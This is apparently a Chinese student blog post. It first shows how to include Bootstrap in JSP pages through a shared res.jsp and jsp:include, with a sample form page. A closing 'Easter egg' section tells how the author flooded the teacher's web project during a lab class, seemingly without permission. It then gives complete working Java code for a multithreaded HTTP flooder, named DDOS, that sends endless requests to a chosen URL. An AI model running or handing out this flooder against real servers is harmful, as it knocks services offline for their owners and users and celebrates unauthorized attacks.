先引入bootstrap,为了防止每个网页都引入,单独把引入bootstrap写成一个网页,然后在其他网页中用jsp:include动态包含
<!-- res.jsp --> <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <link rel = "stylesheet" type = "text/css" href = "ReSources/bootstrap/css/bootstrap.min.css">
然后写input.jsp页面,注意第19行动态包含了res.jsp页面
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <base href="<%=basePath%>"> <title>My JSP 'input.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> <jsp:include page = "../res.jsp"/> </head> <body class = "container"> <div> <h3 class = "page-header">request.getPramater()的用法</h3> <form action = "" class = "form-horizontal"> <div class = "form-group"> <label class = "col-md-3 control-label">学号:</label> <div class = "col-md-5"> <input type = "text" class = "form-control" placeholder="123456"> </div> </div> <div class = "form-group"> <label class = "col-md-3 control-label">姓名:</label> <div class = "col-md-5"> <input type = "text" class = "form-control" placeholder="张三"> </div> </div> <div class = "form-group"> <div class = "col-md-offset-3 col-md-5"> <button type = "submit" class = "btn btn-primary">提交</button> </div> </div> </form> </div> </body> </html>
彩蛋
其实上面的内容都不重要,老师在机房给我们上课的时候,我试了一下访问老师的jsp项目,居然成功了,我突然想到一个点子,利用java起很多线程去访问老师的web项目模拟DDOS,结果不出意料的成功了,先附上代码,下面讲解一下这个代码
import java.io.*; import java.net.*; import java.util.Scanner; public class DDOS implements Runnable { private static String strUrl = null; private static long numL = 0L; private static Scanner scanner = new Scanner(System.in); public void run() { HttpURLConnection connection = null; InputStream urlStream = null; URL url = null; while (true) try { url = new URL(strUrl + numL); connection = (HttpURLConnection) url.openConnection(); connection.connect(); urlStream = connection.getInputStream(); if (urlStream != null) { numL += 1L; urlStream.close(); System.out.print("\t" + numL); if (numL % 30L == 0L) System.out.println(); } Thread.sleep(10L); } catch (InterruptedException e) { while (true) { e.getMessage(); try { Thread.sleep(1000L); } catch (InterruptedException ie) { ie.printStackTrace(); } } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) throws MalformedURLException { System.out.println(""); int threadNum; while (true) { System.out.println("线程数:"); threadNum = scanner.nextInt(); System.out.println("网址:"); String str = scanner.next(); strUrl = str; if (str.indexOf("?") >= 0) strUrl += "&num="; else strUrl += "?num="; System.out.println("--------------------------------------"); System.out.println("线程数:" + threadNum); System.out.println("地址:" + str); System.out.println("请再次确认(Y/N):"); String tmp = scanner.next(); if ("Y".equalsIgnoreCase(tmp)) break; if ("N".equalsIgnoreCase(tmp)) continue; System.out.println("输入错误,请重新输入(Y/N):"); } for (int i = 0; i < threadNum; ++i) { DDOS at = new DDOS(); Thread t = new Thread(at); t.start(); } } }